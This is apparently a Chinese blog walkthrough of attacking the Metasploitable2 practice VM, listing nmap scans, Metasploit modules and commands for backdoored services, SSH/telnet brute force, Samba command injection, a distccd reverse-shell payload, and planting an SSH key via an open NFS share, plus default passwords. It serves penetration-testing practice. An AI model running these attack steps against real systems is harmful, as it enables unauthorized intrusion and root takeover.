Metasploittable2打靶教程

本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。

一、环境准备

1.把靶场放在vmware打开,启用nat模式:

2.启用kali

二、信息收集

3.确认目标:

使用nmap扫描该局域网,确认目标开放端口服务信息。

sudo nmap -sS 192.168.1.0/24

这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。

4.确认操作系统

sudo nmap -O 192.168.1.0/24

也可以和之前的命令一起用

例:sudo nmap -sS -O 192.168.1.0/24

实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130

更详细服务信息,以便收集已公开漏洞

sudo nmap -sS 192.168.1.130

漏洞清单:

从顺序来吧

21(ftp)

vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件

可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。

匿名访问:

1.启用msf

msfconsole

2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞

search vsftpd

3.使用

use 0

显示payloads

 show payloads

只有一个就自动选择

也可手动定义payload

4.查看配置

show options

5.设置目标

set rhost 192.168.80.130

6.运行

run 或者exploit

直接root权限

22(ssh)

Search  ssh_login       搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.1.130 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

爆破成功msfadmin:msfadmin

23(telnet)

search telnet_login
use 1
Set RHOST 192.168.1.134 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

80(php-cgi)

先访问该该网站是什么站:

  • Mutillidae 和 DVWA这两个练习平台就不说了

  • 扫描目录发现漏洞点

    • 2012年的漏洞

      server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入

    • phpinfo.php ===>php-cgi

    • phpadmin

search php-cgi
use 0
set rhost 192.168.1.130
run

111(RPC)

auxiliary/scanner/misc/sunrpc_portmapper

只能拿来ddos

139,445(smba)

1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。

 smbclient -L //192.168.1.130

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
run

smbclient //192.168.1.130/tmp

SambaMS-RPC Shell 命令注入漏洞

search samba
use exploit/multi/samba/usermap_script
set rhost xxxx
run

512.513.514 (r)

TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问

sudo apt-get install rsh-client
rlogin -l root 192.168.1.130

1099(java_rmi)

原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致

use exploit/multi/misc/java_rmi_server

1524(ingreslock):

1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务

利用telnet命令连接目标主机的1524端口,直接获取root权限。

Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。

ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:

2049(NFS)

NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。

复现环境:Kali2017、Metasploit2

复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机

1.kali下连接靶机的NFS服务

sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la

2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机

ssh-keygen
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
ssh root@192.168.1.130

不过这里遇到点小坑

解决办法:链接

 ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130

3306(mysql)

mysql空密码:

使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root

3632(distccd)

除了上一节中的恶意后门,一些服务本质上几乎就是后门。

search distccd
use 0
set rhost 192.168.1.130

这里如果我们用默认的payload会no session,这里切换下payload

show payloads
set payload cmd/unix/reverse_ruby

5432(postgresql)

1.爆破:

auxiliary/scanner/postgres/postgres_login

postgresql 密码:postgres

2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码

这是nmap的指纹

也可以通过msf的模块:canner/postgres/postgres_version

后渗透利用推荐

5900(vnc)

vnc 密码: password

6667(IRC)

根据nmap指纹信息
search UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run

一把梭失败,检查错误:发现pay失败,切换payload。

查看可用payload

show payloads

8180(tomact)

暴力破解账号密码:tomcat;tomcat

metasploit2-practice的更多相关文章

  1. Pramp mock interview (4th practice): Matrix Spiral Print

    March 16, 2016 Problem statement:Given a 2D array (matrix) named M, print all items of M in a spiral ...

  2. Atitit 数据存储视图的最佳实际best practice attilax总结

    Atitit 数据存储视图的最佳实际best practice attilax总结 1.1. 视图优点:可读性的提升1 1.2. 结论  本着可读性优先于性能的原则,面向人类编程优先于面向机器编程,应 ...

  3. The Practice of .NET Cross-Platforms

    0x01 Preface This post is mainly to share the technologies on my practice about the .NET Cross-Platf ...

  4. Exercise 24: More Practice

    puts "Let's practice everything." puts 'You\'d need to know \'bout escapes with \\ that do ...

  5. ConCurrent in Practice小记 (3)

    ConCurrent in Practice小记 (3) 高级同步技巧 Semaphore Semaphore信号量,据说是Dijkstra大神发明的.内部维护一个许可集(Permits Set),用 ...

  6. ConCurrent in Practice小记 (2)

    Java-ConCurrent2.html :first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0 ...

  7. ConCurrent in Practice小记 (1)

    ConCurrent in Practice小记 (1) 杂记,随书自己写的笔记: 综述问题 1.线程允许在同一个进程中的资源,包括共享内存,内存句柄,文件句柄.但是每个进程有自己的程序计数器,栈和局 ...

  8. 1.2 基础知识——关于猪皮(GP,Generic Practice)

    摘要: 这是<CMMI快乐之旅>系列文章之一.说起猪皮(GP,Generic Practice),真的让人又爱又恨,中文翻译叫通用实践.CMMI标准中每个级别包含几个PA,每个PA又包含几 ...

  9. 2015年第2本(英文第1本):《The Practice of Programming》

    2015年计划透析10本英文原著,最开始选定的第一本英文书是<Who Moved my Cheese>,可是这本书实在是太短.太简单了,总体的意思就是要顺应变化,要跳出自己的舒适区,全文不 ...

  10. Java Concurrency In Practice -Chapter 2 Thread Safety

    Writing thread-safe code is managing access to state and in particular to shared, mutable state. Obj ...

随机推荐

  1. day25 前端

    https://www.dcloud.io/hbuilderx.html 下载HbuilderX,直接解压缩双击打开 html5 <!DOCTYPE html><!-- 文档类型,声 ...

  2. day09 常用工具类&包装类&集合——List、Set

    day09 常用工具类 java.lang.Math数值运算 基本数值运算,如初等函数.对数.平方根和三角函数 //最大最小值 Math.max(12, 21); Math.min(2, 3); // ...

  3. 《不一般的 DFT》阅读随笔

    感觉上前置知识是毛啸 16 年的论文? 我手头也有,到时候发现有 at 到的地方就插一嘴说一句 srds 先这篇是因为有纸质版的这篇 感觉上大篇幅在讲复杂度模数大小相关的做法. 1 引言 我这写个啥? ...

  4. Spring Boot回顾

    一.概述 1.Spring的优缺点 优点 无需开发ELB,通过IOC和AOP,就可以使用POJO(简单的Java对象)实现ELB的功能 缺点: 依赖管理导入Maven耗时耗力 注解繁琐 2.Sprin ...

  5. Kubernetes(k8s)存储管理之数据卷volumes(五):动态制备-存储类StorageClass

    目录 一.系统环境 二.前言 三.静态制备和动态制备 四.存储类StorageClass 4.1 存储类StorageClass概览 4.2 StorageClass 资源 五.创建存储类Storag ...

  6. http转成https工具类

    工具类代码如下: 点击查看代码 package com.astronaut.auction.modules.oss.utils; import org.apache.commons.collectio ...

  7. day05-功能实现04

    家居网购项目实现04 以下皆为部分代码,详见 https://github.com/liyuelian/furniture_mall.git 10.功能09-后台管理 删除家居 10.1需求分析/图解 ...

  8. go_json_learn

    解析嵌套类型示例: func test3() { b := []byte(`{"Name":"tom","Age":20,"Ema ...

  9. 轻松解决 CSS 代码都在一行的问题

    前言 最近在做博客园的界面美化,用的是博客园[guangzan]的开源项目,配置超级简单,只需要复制粘贴代码就好啦. 但在粘贴 CSS 代码时遇到一个问题,那就是所有代码都挤在了一行,没有一点排板的样 ...

  10. FFmpeg 解码内存泄漏汇总,sws_getContext函数无法释放问题

    使用FFmpeg库做的项目,调试项目的时候发现,连续解视频进行播放,会有明显内存增加问题.连续工作10个小时后就会 被linux 内核kill掉. 通过逐步注掉代码和网上查阅资料.最后发现内存泄漏有一 ...